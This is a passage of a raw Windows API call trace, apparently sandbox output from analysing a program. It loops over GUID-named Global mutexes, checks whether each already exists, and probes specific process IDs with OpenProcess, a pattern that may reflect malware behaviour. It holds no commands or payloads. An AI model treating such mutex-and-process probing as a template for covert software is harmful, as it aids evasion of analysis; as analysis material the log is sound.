Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0125.485] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0125.485] GetLastError () returned 0x0 [0125.485] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0125.485] CloseHandle (hObject=0x6cc) returned 1 [0125.485] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0125.486] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0125.486] GetLastError () returned 0x0 [0125.486] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0125.486] CloseHandle (hObject=0x6cc) returned 1 [0125.486] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0125.486] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0125.486] GetLastError () returned 0xb7 [0125.486] CloseHandle (hObject=0x6cc) returned 1 [0125.486] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0125.486] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0125.486] GetLastError () returned 0x0 [0125.486] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0125.486] CloseHandle (hObject=0x6cc) returned 1 [0125.493] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0125.493] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0125.493] GetLastError () returned 0xb7 [0125.493] CloseHandle (hObject=0x6cc) returned 1 [0125.617] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0125.617] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0125.618] GetLastError () returned 0xb7 [0125.618] CloseHandle (hObject=0x6cc) returned 1 [0125.618] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0125.618] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0125.618] GetLastError () returned 0xb7 [0125.618] CloseHandle (hObject=0x6cc) returned 1 [0125.619] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0125.619] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0125.619] GetLastError () returned 0x0 [0125.619] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0125.619] CloseHandle (hObject=0x6cc) returned 1 [0125.619] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0125.619] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0125.619] GetLastError () returned 0x0 [0125.619] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0125.619] CloseHandle (hObject=0x6cc) returned 1 [0125.620] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0125.620] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0125.620] GetLastError () returned 0xb7 [0125.620] CloseHandle (hObject=0x6cc) returned 1 [0125.620] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0125.620] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0125.620] GetLastError () returned 0x0 [0125.620] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0125.620] CloseHandle (hObject=0x6cc) returned 1 [0125.627] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0125.627] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0125.627] GetLastError () returned 0xb7 [0125.627] CloseHandle (hObject=0x6cc) returned 1 [0125.736] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0125.736] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0125.736] GetLastError () returned 0xb7 [0125.736] CloseHandle (hObject=0x6cc) returned 1 [0125.737] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0125.737] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0125.737] GetLastError () returned 0xb7 [0125.737] CloseHandle (hObject=0x6cc) returned 1 [0125.738] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0125.738] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0125.738] GetLastError () returned 0x0 [0125.738] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0125.738] CloseHandle (hObject=0x6cc) returned 1 [0125.738] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0125.738] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0125.738] GetLastError () returned 0x0 [0125.738] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0125.739] CloseHandle (hObject=0x6cc) returned 1 [0125.739] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0125.739] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0125.739] GetLastError () returned 0xb7 [0125.739] CloseHandle (hObject=0x6cc) returned 1 [0125.740] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0125.740] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0125.740] GetLastError () returned 0x0 [0125.740] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0125.740] CloseHandle (hObject=0x6cc) returned 1 [0125.759] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0125.759] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0125.759] GetLastError () returned 0xb7 [0125.759] CloseHandle (hObject=0x6cc) returned 1 [0125.874] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0125.874] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0125.874] GetLastError () returned 0xb7 [0125.874] CloseHandle (hObject=0x6cc) returned 1 [0125.875] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0125.875] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0125.875] GetLastError () returned 0xb7 [0125.875] CloseHandle (hObject=0x6cc) returned 1 [0125.875] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0125.875] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0125.875] GetLastError () returned 0x0 [0125.875] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0125.875] CloseHandle (hObject=0x6cc) returned 1 [0125.876] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0125.876] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0125.876] GetLastError () returned 0x0 [0125.876] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0125.876] CloseHandle (hObject=0x6cc) returned 1 [0125.876] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0125.876] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0125.876] GetLastError () returned 0xb7 [0125.876] CloseHandle (hObject=0x6cc) returned 1 [0125.876] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0125.876] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0125.876] GetLastError () returned 0x0 [0125.877] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0125.877] CloseHandle (hObject=0x6cc) returned 1 [0125.884] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0125.884] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0125.884] GetLastError () returned 0xb7 [0125.884] CloseHandle (hObject=0x6cc) returned 1 [0125.999] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0125.999] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0125.999] GetLastError () returned 0xb7 [0125.999] CloseHandle (hObject=0x6cc) returned 1 [0125.999] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0125.999] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0125.999] GetLastError () returned 0xb7 [0125.999] CloseHandle (hObject=0x6cc) returned 1 [0126.000] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0126.000] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0126.000] GetLastError () returned 0x0 [0126.000] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0126.000] CloseHandle (hObject=0x6cc) returned 1 [0126.000] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0126.000] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0126.000] GetLastError () returned 0x0 [0126.000] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0126.000] CloseHandle (hObject=0x6cc) returned 1 [0126.001] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0126.001] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0126.001] GetLastError () returned 0xb7 [0126.001] CloseHandle (hObject=0x6cc) returned 1 [0126.001] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0126.001] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0126.001] GetLastError () returned 0x0 [0126.001] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0126.001] CloseHandle (hObject=0x6cc) returned 1 [0126.008] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0126.008] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0126.008] GetLastError () returned 0xb7 [0126.008] CloseHandle (hObject=0x6cc) returned 1 [0126.122] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0126.122] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0126.122] GetLastError () returned 0xb7 [0126.122] CloseHandle (hObject=0x6cc) returned 1 [0126.123] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0126.123] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0126.123] GetLastError () returned 0xb7 [0126.123] CloseHandle (hObject=0x6cc) returned 1 [0126.125] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0126.125] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0126.125] GetLastError () returned 0x0 [0126.125] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0126.125] CloseHandle (hObject=0x6cc) returned 1 [0126.126] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0126.126] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0126.127] GetLastError () returned 0x0 [0126.127] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0126.127] CloseHandle (hObject=0x6cc) returned 1 [0126.128] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0126.128] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0126.128] GetLastError () returned 0xb7 [0126.128] CloseHandle (hObject=0x6cc) returned 1 [0126.129] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0126.129] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0126.129] GetLastError () returned 0x0 [0126.129] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0126.129] CloseHandle (hObject=0x6cc) returned 1 [0126.144] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0126.144] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0126.144] GetLastError () returned 0xb7 [0126.144] CloseHandle (hObject=0x6cc) returned 1 [0126.249] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0126.249] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0126.249] GetLastError () returned 0xb7 [0126.249] CloseHandle (hObject=0x6cc) returned 1 [0126.250] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, 